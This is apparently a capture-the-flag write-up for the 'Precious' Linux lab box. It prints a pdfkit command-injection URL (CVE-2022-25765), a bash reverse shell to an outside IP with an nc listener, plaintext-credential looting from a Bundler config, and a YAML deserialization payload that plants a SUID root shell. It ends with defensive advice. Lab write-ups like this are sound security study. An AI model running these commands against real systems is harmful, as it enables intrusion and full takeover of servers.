Overview
Precious is an easy Linux box built entirely on Ruby stack flaws. The foothold is CVE-2022-25765, a command injection in the pdfkit gem reachable through a "URL to PDF" web feature. A plaintext credential in a Bundler config moves me to a real user, and root is a YAML deserialization RCE in a sudo-runnable Ruby script that uses the unsafe YAML.load.
Recon
The site converts a supplied URL into a PDF. Fingerprinting required getting it to render my server, then inspecting the output PDF's metadata:
exiftool output.pdf
Creator : Generated by pdfkit v0.8.6
pdfkit v0.8.6 is the tell.
Foothold
CVE-2022-25765, pdfkit Command Injection
The bug:
pdfkitbuilds a shell command to invokewkhtmltopdfand interpolates the URL without sanitizing it. A URL containing a backtick-wrapped command breaks out into the shell. So the "convert this page" feature is really "run this command on the server."
http://10.10.14.149/?name=%20`id` -> PDF contains: uid=1001(ruby)
http://10.10.14.149/?name=%20`bash -c "bash -i >& /dev/tcp/10.10.14.149/443 0>&1"`
rlwrap nc -lvnp 443
ruby@precious:/var/www/pdfapp$ whoami
ruby
Bundler Config Credentials → henry
ruby's home held a .bundle/config with a credential in cleartext:
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:‹redacted›"
Why this is here: Bundler stores gem-source credentials in
.bundle/configin plaintext. It's a common loot location on Ruby boxes. The password was reused for thehenrysystem account, usable over SSH.
Privilege Escalation
sudo Ruby + YAML.load Deserialization
sudo -l
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
The script's vulnerable line:
YAML.load(File.read("dependencies.yml"))
Why
YAML.loadis RCE: unlikesafe_load, Ruby'sYAML.loadwill instantiate arbitrary objects described in the YAML, including gadget chains (Gem::Installer,Net::WriteAdapter, etc.) that ultimately callKernel#system. So a crafteddependencies.ymlruns a command as whoever runs the script, here, root. The script readsdependencies.ymlfrom the current directory, so I control it.
I placed a deserialization payload whose command creates a SUID root shell, then ran the sudo script from that directory:
# ... Gem gadget chain ...
git_set: cp /bin/bash /tmp/rootbash; chmod 6777 /tmp/rootbash
cd /tmp && sudo ruby /opt/update_dependencies.rb
./rootbash -p
rootbash-5.1# whoami
root
Root
Box rooted.
Takeaways
- PDF metadata fingerprints the generator,
pdfkit v0.8.6mapped straight to CVE-2022-25765. .bundle/configstores gem creds in plaintext, always loot it on Ruby hosts.YAML.load(and Python'syaml.load, PHPunserialize, etc.) on attacker data is RCE. Usesafe_load. A sudo script reading a YAML file from a writable CWD is a direct root path.